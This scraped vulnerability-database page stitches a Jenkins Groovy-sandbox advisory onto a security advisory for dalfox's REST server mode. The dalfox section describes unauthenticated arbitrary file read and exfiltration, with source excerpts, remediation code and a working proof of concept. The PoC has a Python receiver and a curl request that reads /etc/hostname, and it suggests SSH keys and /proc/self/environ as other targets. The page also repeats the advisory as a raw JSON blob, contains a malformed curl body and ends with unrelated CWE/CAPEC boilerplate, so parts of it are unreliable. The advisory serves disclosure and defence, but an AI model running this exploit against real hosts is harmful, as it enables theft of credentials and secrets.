Vulnerability from github – Published: 2022-05-18 00:00 – Updated: 2022-12-02 21:10Pipeline: Groovy Plugin allows pipelines to load Groovy source files. This is intended to be used to allow Global Shared Libraries to execute without sandbox protection.
In Pipeline: Groovy Plugin 2689.v434009a_31b_f1 and earlier, any Groovy source files bundled with Jenkins core and plugins could be loaded this way and their methods executed. If a suitable Groovy source file is available on the classpath of Jenkins, sandbox protections can be bypassed.
The Jenkins security team has been unable to identify any Groovy source files in Jenkins core or plugins that would allow attackers to execute dangerous code. While the severity of this issue is declared as High due to the potential impact, successful exploitation is considered very unlikely.
Pipeline: Groovy Plugin 2692.v76b_089ccd026 restricts which Groovy source files can be loaded in Pipelines.
Groovy source files in public plugins intended to be executed in sandboxed pipelines have been identified and added to an allowlist. The new extension point org.jenkinsci.plugins.workflow.cps.GroovySourceFileAllowlist allows plugins to add specific Groovy source files to that allowlist if necessary, but creation of plugin-specific Pipeline DSLs is strongly discouraged.

GHSA-35WR-X7V6-9FV2
Vulnerability from github – Published: 2026-05-12 15:08 – Updated: 2026-06-08 23:50Summary
When dalfox is run in REST API server mode, the custom-payload-file field in model.Options is JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through dalfox.Initialize into the scan engine. The engine passes the value to voltFile.ReadLinesOrLiteral, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic.
Severity
High (CVSS 3.1: 7.5)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack Vector: Network — server binds to
0.0.0.0:6664by default; reachable by any network peer. - Attack Complexity: Low — no preconditions beyond network access;
skip-discoveryandparamare both attacker-supplied, so the code path is fully under attacker control. - Privileges Required: None —
--api-keydefaults to"", so the auth middleware is not registered. - User Interaction: None.
- Scope: Unchanged — the file read and the outbound HTTP exfiltration request both originate from the same dalfox process authority.
- Confidentiality Impact: High — the attacker can read any file the dalfox process can open: private keys, configuration files containing database credentials, environment files,
/etc/passwd, etc. - Integrity Impact: None — this path is read-only.
- Availability Impact: None.

CWE
- CWE-306: Missing Authentication for Critical Function
- CWE-73: External Control of File Name or Path
- CWE-552: Files or Directories Accessible to External Parties
Description
custom-payload-file Is Fully Attacker-Controlled
model.Options exposes CustomPayloadFile with a JSON tag:
// pkg/model/options.go:33
CustomPayloadFile string `json:"custom-payload-file,omitempty"`
postScanHandler binds the entire Req.Options from the JSON body and passes it directly to ScanFromAPI:
// pkg/server/server.go:173-191
rq := new(Req)
if err := c.Bind(rq); err != nil { ... }
go ScanFromAPI(rq.URL, rq.Options, *options, sid)
ScanFromAPI passes rqOptions as target.Options to dalfox.Initialize:
// pkg/server/scan.go:22-27
target := dalfox.Target{
URL: url,
Method: rqOptions.Method,
Options: rqOptions,
}
newOptions := dalfox.Initialize(target, target.Options)
Initialize explicitly copies CustomPayloadFile into newOptions with no filtering:
// lib/func.go:117
"CustomPayloadFile": {&newOptions.CustomPayloadFile, options.CustomPayloadFile},
File Read and Exfiltration Path
In pkg/scanning/scan.go, when the scan engine reaches the custom payload phase, it reads the attacker-specified file path:
// pkg/scanning/scan.go:341-366
if (options.SkipDiscovery || utils.IsAllowType(policy["Content-Type"])) && options.CustomPayloadFile != "" {
ff, err := voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)
if err != nil {
printing.DalLog("SYSTEM", "Failed to load custom XSS payload file", options)
} else {
for _, customPayload := range ff {
if customPayload != "" {
for k, v := range params {
if optimization.CheckInspectionParam(options, k) {
...
tq, tm := optimization.MakeRequestQuery(target, k, customPayload, "inHTML"+ptype, "toAppend", encoder, options)
query[tq] = tm
}
}
}
}
}
}
Each line of the file becomes a payload value embedded in a query parameter of an HTTP request sent to the attacker-controlled target URL. performScanning then dispatches every entry in the query map via SendReq, delivering the file's contents to the attacker's server as the value of the nominated parameter (e.g., ?q=<file-line>).
Condition Is Trivially Satisfiable
The condition options.SkipDiscovery || utils.IsAllowType(policy["Content-Type"]) is satisfied by setting skip-discovery: true in the JSON request body — a field the attacker fully controls. When SkipDiscovery is true, the engine also requires at least one parameter via UniqParam (the -p flag), which the attacker supplies as param: ["q"]. The code then hardcodes policy["Content-Type"] = "text/html" and populates params["q"] automatically:
// pkg/scanning/scan.go:224-240
if len(options.UniqParam) == 0 {
return scanResult, fmt.Errorf("--skip-discovery requires parameters to be specified with -p flag")
}
for _, paramName := range options.UniqParam {
params[paramName] = model.ParamResult{
Name: paramName, Type: "URL", Reflected: true, Chars: payload.GetSpecialChar(),
}
}
policy["Content-Type"] = "text/html"
Both conditions are fully attacker-controlled through the JSON request body.
No Defense at Any Layer
The same opt-in API key guard from the first finding applies identically here:
// pkg/server/server.go:68-70
if options.ServerType == "rest" && options.APIKey != "" {
e.Use(apiKeyAuth(options.APIKey, options))
}
With the default empty API key, no middleware is installed and every endpoint is unauthenticated. There is no path sanitization, no allowlist, and no IsAPI guard around the CustomPayloadFile read.
Proof of Concept
# Step 1 — Attacker-controlled receiver (logs q= parameter to stdout)
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
class H(BaseHTTPRequestHandler):
def do_GET(self):
q = parse_qs(urlparse(self.path).query).get('q', [''])[0]
print("[RECEIVED] q =", q, flush=True)
body = b'<html><body>ok</body></html>'
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.send_header('Content-Length', str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 18081), H).serve_forever()

# Step 2 — Start dalfox REST server (default: no API key)
go run . server --host 127.0.0.1 --port 16664 --type rest
# Step 3 — Exfiltrate /etc/hostname (or any file readable by the dalfox process)
curl -s -X POST http://127.0.0.1:16664/scan \
-H 'Content-Type: application/json' \
--data '{
"url": "http://127.0.0.1:18081/?q=test",

"custom-payload-file": "/etc/hostname",
"only-custom-payload": true,
"skip-discovery": true,
"param": ["q"],
"use-headless": false,

}
}'
# Expected output on the receiver (Step 1 terminal):
# [RECEIVED] q = myhostname.local
# For multi-line files (e.g. /etc/passwd), each line arrives as a separate request
No X-API-KEY header is required. Replace /etc/hostname with any file path accessible to the dalfox process (e.g., ~/.ssh/id_rsa, /run/secrets/db_password, /proc/self/environ).
Impact
- Arbitrary file read on the dalfox host: any file readable by the dalfox process (SSH private keys, TLS certificates,
.envfiles, cloud credential files,/proc/self/environ) can be exfiltrated one line at a time. - No authentication required under the default configuration.
- The exfiltration channel is the dalfox host's own outbound HTTP scan traffic — no inbound connection from the attacker to the dalfox host is needed beyond the initial REST API call.
- Combined with the
found-actionRCE finding (separate issue), an attacker could first read/proc/self/environto harvest secrets, then execute commands.
Recommended Remediation
Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred)
Apply a denylist of fields that should never be accepted from the REST API, regardless of auth state. This protects authenticated deployments against credential-theft or privilege escalation by external API consumers:
// pkg/server/server.go — in postScanHandler, before ScanFromAPI:
rq.Options.CustomPayloadFile = ""
rq.Options.CustomBlindXSSPayloadFile = ""
rq.Options.FoundAction = ""
rq.Options.FoundActionShell = ""
rq.Options.OutputFile = ""
rq.Options.HarFilePath = ""
Option 2: Require --api-key at server startup
Make authentication mandatory and refuse to start without it:
// cmd/server.go — in runServerCmd:
if serverType == "rest" && apiKey == "" {
fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.")
os.Exit(1)
}
Both options should be applied together. Option 2 prevents unauthenticated access to the API entirely; Option 1 ensures that even trusted API callers cannot leverage the server to read files from the host filesystem.

"details": "## Summary\n\nWhen dalfox is run in REST API server mode, the `custom-payload-file` field in `model.Options` is JSON-tagged and deserialized directly from the attacker\u0027s request body, then propagated unchanged through `dalfox.Initialize` into the scan engine. The engine passes the value to `voltFile.ReadLinesOrLiteral`, which reads lines from any file path accessible to the dalfox process and embeds each line as an XSS payload in outbound HTTP requests directed at the attacker-controlled target URL. Because the server has no API key by default, an unauthenticated network attacker can exfiltrate the contents of arbitrary files on the dalfox host by reading them line-by-line through scan traffic.\n\n## Severity\n\n**High** (CVSS 3.1: 7.5)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n\n- **Attack Vector:** Network \u2014 server binds to `0.0.0.0:6664` by default; reachable by any network peer.\n- **Attack Complexity:** Low \u2014 no preconditions beyond network access; `skip-discovery` and `param` are both attacker-supplied, so the code path is fully under attacker control.\n- **Privileges Required:** None \u2014 `--api-key` defaults to `\"\"`, so the auth middleware is not registered.\n- **User Interaction:** None.\n- **Scope:** Unchanged \u2014 the file read and the outbound HTTP exfiltration request both originate from the same dalfox process authority.\n- **Confidentiality Impact:** High \u2014 the attacker can read any file the dalfox process can open: private keys, configuration files containing database credentials, environment files, `/etc/passwd`, etc.\n- **Integrity Impact:** None \u2014 this path is read-only.\n- **Availability Impact:** None.\n\n## Affected Component\n\n- `cmd/server.go` \u2014 `init()` (line 51): `--api-key` defaults to `\"\"` \u2014 no auth by default\n- `pkg/server/server.go` \u2014 `setupEchoServer()` (line 68): auth middleware only registered when `APIKey != \"\"`\n- `pkg/server/server.go` \u2014 `postScanHandler()` (lines 173\u2013191): `rq.Options` (including `CustomPayloadFile`) passed to `ScanFromAPI` without sanitization\n- `lib/func.go` \u2014 `Initialize()` (line 117): `CustomPayloadFile` explicitly propagated from caller options\n- `pkg/scanning/scan.go` \u2014 anonymous block (lines 341\u2013368): `voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)` reads file; contents injected into outbound requests\n\n## CWE\n\n- **CWE-306**: Missing Authentication for Critical Function\n- **CWE-73**: External Control of File Name or Path\n- **CWE-552**: Files or Directories Accessible to External Parties\n\n## Description\n\n### `custom-payload-file` Is Fully Attacker-Controlled\n\n`model.Options` exposes `CustomPayloadFile` with a JSON tag:\n\n```go\n// pkg/model/options.go:33\nCustomPayloadFile string `json:\"custom-payload-file,omitempty\"`\n```\n\n`postScanHandler` binds the entire `Req.Options` from the JSON body and passes it directly to `ScanFromAPI`:\n\n```go\n// pkg/server/server.go:173-191\nrq := new(Req)\nif err := c.Bind(rq); err != nil { ... }\ngo ScanFromAPI(rq.URL, rq.Options, *options, sid)\n```\n\n`ScanFromAPI` passes `rqOptions` as `target.Options` to `dalfox.Initialize`:\n\n```go\n// pkg/server/scan.go:22-27\ntarget := dalfox.Target{\n URL: url,\n Method: rqOptions.Method,\n Options: rqOptions,\n}\nnewOptions := dalfox.Initialize(target, target.Options)\n```\n\n`Initialize` explicitly copies `CustomPayloadFile` into `newOptions` with no filtering:\n\n```go\n// lib/func.go:117\n\"CustomPayloadFile\": {\u0026newOptions.CustomPayloadFile, options.CustomPayloadFile},\n```\n\n### File Read and Exfiltration Path\n\nIn `pkg/scanning/scan.go`, when the scan engine reaches the custom payload phase, it reads the attacker-specified file path:\n\n```go\n// pkg/scanning/scan.go:341-366\nif (options.SkipDiscovery || utils.IsAllowType(policy[\"Content-Type\"])) \u0026\u0026 options.CustomPayloadFile != \"\" {\n ff, err := voltFile.ReadLinesOrLiteral(options.CustomPayloadFile)\n if err != nil {\n printing.DalLog(\"SYSTEM\", \"Failed to load custom XSS payload file\", options)\n } else {\n for _, customPayload := range ff {\n if customPayload != \"\" {\n for k, v := range params {\n if optimization.CheckInspectionParam(options, k) {\n ...\n tq, tm := optimization.MakeRequestQuery(target, k, customPayload, \"inHTML\"+ptype, \"toAppend\", encoder, options)\n query[tq] = tm\n }\n }\n }\n }\n }\n}\n```\n\nEach line of the file becomes a payload value embedded in a query parameter of an HTTP request sent to the attacker-controlled target URL. `performScanning` then dispatches every entry in the `query` map via `SendReq`, delivering the file\u0027s contents to the attacker\u0027s server as the value of the nominated parameter (e.g., `?q=\u003cfile-line\u003e`).\n\n### Condition Is Trivially Satisfiable\n\nThe condition `options.SkipDiscovery || utils.IsAllowType(policy[\"Content-Type\"])` is satisfied by setting `skip-discovery: true` in the JSON request body \u2014 a field the attacker fully controls. When `SkipDiscovery` is true, the engine also requires at least one parameter via `UniqParam` (the `-p` flag), which the attacker supplies as `param: [\"q\"]`. The code then hardcodes `policy[\"Content-Type\"] = \"text/html\"` and populates `params[\"q\"]` automatically:\n\n```go\n// pkg/scanning/scan.go:224-240\nif len(options.UniqParam) == 0 {\n return scanResult, fmt.Errorf(\"--skip-discovery requires parameters to be specified with -p flag\")\n}\nfor _, paramName := range options.UniqParam {\n params[paramName] = model.ParamResult{\n Name: paramName, Type: \"URL\", Reflected: true, Chars: payload.GetSpecialChar(),\n }\n}\npolicy[\"Content-Type\"] = \"text/html\"\n```\n\nBoth conditions are fully attacker-controlled through the JSON request body.\n\n### No Defense at Any Layer\n\nThe same opt-in API key guard from the first finding applies identically here:\n\n```go\n// pkg/server/server.go:68-70\nif options.ServerType == \"rest\" \u0026\u0026 options.APIKey != \"\" {\n e.Use(apiKeyAuth(options.APIKey, options))\n}\n```\n\nWith the default empty API key, no middleware is installed and every endpoint is unauthenticated. There is no path sanitization, no allowlist, and no `IsAPI` guard around the `CustomPayloadFile` read.\n\n## Proof of Concept\n\n```bash\n# Step 1 \u2014 Attacker-controlled receiver (logs q= parameter to stdout)\npython3 - \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom urllib.parse import urlparse, parse_qs\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n q = parse_qs(urlparse(self.path).query).get(\u0027q\u0027, [\u0027\u0027])[0]\n print(\"[RECEIVED] q =\", q, flush=True)\n body = b\u0027\u003chtml\u003e\u003cbody\u003eok\u003c/body\u003e\u003c/html\u003e\u0027\n self.send_response(200)\n self.send_header(\u0027Content-Type\u0027, \u0027text/html\u0027)\n self.send_header(\u0027Content-Length\u0027, str(len(body)))\n self.end_headers()\n self.wfile.write(body)\n def log_message(self, *a): pass\nHTTPServer((\u0027127.0.0.1\u0027, 18081), H).serve_forever()\nPY\n\n# Step 2 \u2014 Start dalfox REST server (default: no API key)\ngo run . server --host 127.0.0.1 --port 16664 --type rest\n\n# Step 3 \u2014 Exfiltrate /etc/hostname (or any file readable by the dalfox process)\ncurl -s -X POST http://127.0.0.1:16664/scan \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\n \"url\": \"http://127.0.0.1:18081/?q=test\",\n \"options\": {\n \"custom-payload-file\": \"/etc/hostname\",\n \"only-custom-payload\": true,\n \"skip-discovery\": true,\n \"param\": [\"q\"],\n \"use-headless\": false,\n \"worker\": 1\n }\n }\u0027\n\n# Expected output on the receiver (Step 1 terminal):\n# [RECEIVED] q = myhostname.local\n\n# For multi-line files (e.g. /etc/passwd), each line arrives as a separate request\n```\n\nNo `X-API-KEY` header is required.

Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.
CAPEC-150: Collect Data from Common Resource Locations
An adversary exploits well-known locations for resources for the purposes of undermining the security of the target. In many, if not most systems, files and resources are organized in a default tree structure. This can be useful for adversaries because they often know where to look for resources or files that are necessary for attacks. Even when the precise location of a targeted resource may not be known, naming conventions may indicate a small area of the target machine's file tree where the resources are typically located. For example, configuration files are normally stored in the /etc director on Unix systems. Adversaries can take advantage of this to commit other types of attacks.
CAPEC-639: Probe System Files
An adversary obtains unauthorized information due to improperly protected files. If an application stores sensitive information in a file that is not protected by proper access control, then an adversary can access the file and search for sensitive information.
